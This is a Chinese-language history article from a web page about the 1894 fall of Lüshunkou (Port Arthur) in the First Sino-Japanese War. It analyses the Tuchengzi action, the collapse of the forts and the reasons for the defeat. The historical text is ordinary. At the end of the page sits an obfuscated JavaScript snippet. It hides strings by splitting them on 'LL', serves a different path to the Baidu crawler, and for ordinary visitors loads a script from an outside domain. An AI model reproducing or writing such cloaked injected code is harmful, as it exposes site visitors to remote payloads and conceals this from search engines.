當前位置:首頁 > 歷史 > 戰(zhàn)史風云 > 正文

苦心經營十數年的旅順口為何“乃不能一日守”?

2017-04-29 09:11:45  來源:360常識網   熱度:
導語:甲午戰(zhàn)爭中,日軍進攻金州、大連灣的目的是為了奪取號稱“東洋第一堅壘”的旅順,因此日軍在占領大連灣經10日休整后,于1894年11月17日開始

甲午戰(zhàn)爭中,日軍進攻金州、大連灣的目的是為了奪取號稱“東洋第一堅壘”的旅順,因此日軍在占領大連灣經10日休整后,于1894年11月17日開始向旅順口進犯。駐守旅順口的清軍在兵力和炮火都優(yōu)于日軍的情況下,旅順口一日之間淪陷,原因何在?

旅順口保衛(wèi)戰(zhàn)經過

土城子阻擊戰(zhàn)

1894年11月的旅順口保衛(wèi)戰(zhàn)首先是從土城子阻擊戰(zhàn)打響的。土城子位于旅順北部,距旅順口約10公里,金(州)旅(順)大道北道通過這里。大道兩旁,丘陵起伏,便于埋伏,是個阻擊日軍入侵的好地方。

1894年11月17日,日軍在經過充分準備后,于當日拂曉向旅順殺來。早在日軍進犯旅順之際,清軍正定鎮(zhèn)總兵徐邦道就已決定在日軍進攻旅順必經道路上組織伏擊。11月15日拂曉,徐邦道曾率拱衛(wèi)軍開往土城子進行伏擊,結果在土城子南側與日軍搜索隊相遇。徐邦道指揮部下英勇出擊,打退日軍搜索部隊,初戰(zhàn)告捷。但因糧草缺乏,只好退回旅順。11月17日,徐邦道說服姜桂題、程允和等人率各部清軍共計3000余人,再往土城子主動出擊。

11月18日上午9時左右,程允和見日軍秋山好古部隊已經逼近土城子,馬上命清軍搶占雙臺溝西南高地。秋山見清軍已有準備,正想撤退,但已來不及了。激戰(zhàn)不久,秋山因無力抵擋,不得不率日軍突出重圍,向北逃去。清軍緊追不舍。但追出不遠,日軍丸井正亞少佐帶領的日本援軍即已趕到。雙方在長嶺子展開激戰(zhàn)。戰(zhàn)至中午11時以后,日軍因無力再戰(zhàn)不得不向營城子撤退。清軍緊追不舍,一直追到雙臺溝始止。

土城子阻擊戰(zhàn)是自日軍在花園口登陸以來清軍取得的一次較大勝利。事實證明,如果清軍指揮得當,配合得當,敢于抵抗,善于抵抗,給日軍以更大一些的打擊,甚或最終徹底戰(zhàn)勝都不是沒有可能的。但由于清軍大都極其腐敗,戰(zhàn)斗力低下,不敢抵抗,加之妥協(xié)退讓、消極防御的方針又在清軍中占了上風,土城子之戰(zhàn)的局部勝利已無法改變旅順之戰(zhàn)最終不可避免的失敗命運了。

旅順口保衛(wèi)戰(zhàn)

土城子之戰(zhàn)結束后,日軍第二軍繼續(xù)向旅順推進。11月21日晨6時,日軍對案子山炮臺發(fā)起進攻,旅順口保衛(wèi)戰(zhàn)打響了。自上午7時第一階段戰(zhàn)斗打響后,整個戰(zhàn)斗分別在椅子山、二龍山、東雞冠山三處先后打響。東雞冠山失守后不久,大坡山、小坡山炮臺及蟠桃山臨時炮臺亦相繼失陷。至此,清軍旅順口后路防線的東西部防線全線崩潰。

就在日軍陸軍對旅順口總攻打響之際,日軍聯(lián)合艦隊也從海上炮擊旅順口,配合陸軍進攻旅順。

當椅子山、案子山等炮臺先后失守的消息傳進旅順口內時,駐守在白玉山北側元寶房的衛(wèi)汝成、趙懷業(yè)、龔照玙等人驚慌失措,“即向東行”,率先逃跑。到11時50分,旅順后路所有炮臺已全被日軍占領。

自中午以后,旅順保衛(wèi)戰(zhàn)進入第二階段,這一階段戰(zhàn)事主要在旅順口市區(qū)和海岸炮臺進行。

防守黃金山炮臺的是總兵黃仕林慶字馬隊1600余人。黃仕林不等日軍來攻,率先換上便服由嶗嵂嘴海岸炮臺乘船逃走。黃金山炮臺失守后,“其口東摸珠礁、嶗嵂嘴兩海岸炮臺及口西之各海岸炮臺,均駭而奔”。日軍不費吹灰之力又先后占領了摸珠礁炮臺和嶗嵂嘴炮臺。旅順口東岸的海岸炮臺就這樣全部失陷了。

次日清晨,日軍開始向西海岸各炮臺發(fā)起進攻,由于清軍早已逃跑,故日軍不費吹灰之力,于10時30分左右先后占領西海岸各炮臺。這樣,旅順口保衛(wèi)戰(zhàn)最終就以清軍的失敗和日軍的勝利而告終。李鴻章苦心經營旅順“凡十有六年,靡巨金數千萬,船塢、炮臺、軍儲冠北洋,乃不能一日守。門戶洞開,竟以資敵”。是役旅順口海陸炮臺大小20余座,大小火炮140余門,以及水雷營、魚雷營、船塢等各種軍事設施和彈藥、糧餉等各種物資,“價值相當于六億數萬元”,全部成為日軍戰(zhàn)利品。

旅順口保衛(wèi)戰(zhàn)失敗原因

戰(zhàn)線長,布陣散

從戰(zhàn)陣布局上看,戰(zhàn)線太長,布陣太散,致使本來優(yōu)勢的兵力變成劣勢,出現“備多力分”、“地廣人單”的現象。

旅順口保衛(wèi)戰(zhàn)打響前,清軍1萬余人大都被分布在東自嶗嵂嘴后炮臺起,西到羊頭洼這一條長達50余華里的半月形防線上。在這條防線上,除蟠桃山、大坡山、小坡山、東雞冠山、望后北、二龍山、松樹山、椅子山、案子山等近20個炮臺外,還有大量的行營炮臺、臨時土壘等。其中除重要一些的炮臺駐防清軍稍多一些外,其他地方駐防清軍大都是平均使用,而進攻旅順口的日軍正是利用了清軍這一布局上的失誤,集中優(yōu)勢兵力將駐防清軍各個擊破。

清軍布局上的失誤反映了清軍將領整體素質的低下。對近代化戰(zhàn)爭一無所知,顢頇、糊涂,是當時清軍將領的基本特征,旅順將領也不例外。布局上的失誤大大加速了清軍的失敗。

多數將領貪生怕死

從軍官素質上看,多數將領貪生怕死,臨陣脫逃,也大大加速了旅順口清軍的失敗。

當旅順口保衛(wèi)戰(zhàn)打響不久,衛(wèi)汝成、趙懷業(yè)、黃仕林等人就率先逃跑,使防守在白玉山、黃金山一帶的清軍因無人指揮,不戰(zhàn)自潰,結果不但動搖了軍心,而且也大大加速了清軍的失敗。張光前雖沒有逃跑(如果日軍進攻旅順口的同時進攻張光前防區(qū),張光前還能不能堅持到最后就很難講了),但他沒有分兵援助其他炮臺,同樣也加速了旅順之戰(zhàn)清軍的失敗。

彈藥質量太差

從彈藥質量上看,質量太差。

據《日清陸戰(zhàn)史》記載:旅順口保衛(wèi)戰(zhàn)打響后,饅頭山、黃金山海岸炮臺所發(fā)射的炮彈,“雖其響轟轟,但我兵因之死傷極少,之所以如此,無他,海岸諸炮臺所發(fā)射敵之大口徑炮彈,其彈中大半填裝以大豆或泥沙故也?!饼斁澝髟谌沼浝镉涊d說:日軍進攻椅子山時,清軍“亦拼命還擊。從松樹山炮臺也頻頻開炮援助,黃金山炮臺也掉轉炮口狙擊我軍。然而敵軍炮彈雖為12、15、24厘米的巨型彈,但一個也不是霰彈,落在地上也不會爆炸,多是空彈掠空而過。反之,我軍精良的山炮,特別是野炮發(fā)射的炮彈,都在敵陣上開花,全都命中,恰如雷電之閃,流星之隕?!?/p>

敵我戰(zhàn)斗力懸殊

從軍隊戰(zhàn)斗力上看,敵我力量相差懸殊。

如單從人數上看,清軍兵力稍優(yōu)于日軍,但從戰(zhàn)斗能力上看,相差懸殊,不成比例。日軍1萬余人不但都受過嚴格的軍事訓練,而且個人整體素質(如年齡、士氣)也遠比清軍要高得多。清軍1.4萬人中老兵僅有3000余人,臨時招募的新兵多達1.1萬余人。不要說新兵沒有受過嚴格的軍事訓練(許多人沒有見過槍炮,“未得空操過一日”),老兵也沒有受過嚴格的軍事訓練,故旅順清軍是地地道道的烏合之眾。這樣的軍隊沒有戰(zhàn)斗力,一觸即潰,用這樣的軍隊防守旅順不潰敗是不可能的,不速潰敗也是不可能的。

其他原因

此外,其他一些原因,如清軍將領不善于指揮、清軍機動部隊沒有發(fā)揮作用及各炮臺之間缺乏應有的配合等,無疑也都是旅順口保衛(wèi)戰(zhàn)清軍迅速失敗的重要原因。

自10月30日至11月19日,李鴻章、盛宣懷多次致電旅順守將。要旅順守將做到:第一,做好“選鋒”,即挑選敢死隊,主動向登陸日軍發(fā)起進攻;第二,在南關嶺至土城子一帶想辦法阻擊日軍;第三,如旅順不守,清軍應在退出旅順前將“炮閂、炮子拋沉海內,免為敵用”。但旅順守將幾乎都沒有做到(后徐邦道等人曾在土城子阻擊過日軍),在生死關鍵時刻,李鴻章指揮不動自己的軍隊,就只能眼睜睜地看著旅順失守了。

北洋營務處總辦龔照玙為人“貪鄙庸劣,不足當方面,頗失人望”,因此很難擔起激勵、聯(lián)絡旅順諸軍重任。不僅如此,更為嚴重的是早在11月6日,即金州失守當天晚間,龔照玙不向上級請示,不與諸將商議,就擅自以“商運糧米”為名,乘魚雷艇先至煙臺,后至天津。李鴻章飭龔照玙“即日回防,激勵諸將,同心固守”。龔照玙雖返回旅順,但由于他“不能聯(lián)絡諸軍,同心固守”,并造成很壞影響,結果“船塢局逃匿殆盡。市無買賣。水旱雷學生亦均逃走。軍械局自委員以下,迄無下落”。“西岸有一處看守施放旱雷六品軍功隊長張啟林,因將電箱損壞,畏罪帶水勇四名逃去?!甭庙橊v軍出現“群龍無首”的局面。

時旅順共有7名統(tǒng)領,即總兵姜桂題、張光前、黃仕林、程允和、衛(wèi)汝貴、趙懷業(yè)、徐邦道。7統(tǒng)領不相統(tǒng)屬,難以御敵。于是張光前便與其余幾位統(tǒng)領相議,公推姜桂題為統(tǒng)帥。但姜桂題才本中庸,又不識字,他所能做的只能是分兵把守和向清廷索要救兵。11月18日,就在駐守旅順清軍各統(tǒng)領還在向清廷索要救兵之際,旅順口保衛(wèi)戰(zhàn)已經打響了。

甲午戰(zhàn)爭爆發(fā)后,駐守旅順陸路各炮臺的四川提督宋慶的9營1哨毅軍被陸續(xù)調往鴨綠江防線。有學者認為:“宋慶駐守旅順12年,為鞏固渤海防務竭心盡力,當時被稱為‘諸軍之冠’,深得人心。得知他將離開駐地,旅順、金州、大連灣‘民心惶惶’”。“設使李鴻章仍讓他守御旅順,統(tǒng)帥各軍,以他的威望,加上地利人和,旅順之防御戰(zhàn)絕不會打得那樣糟糕,或許有另一種情況出現,亦未可知。”這個觀點無疑是對的,但李鴻章兵不敷出,捉襟見肘,旅順之失亦應是早晚之事。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}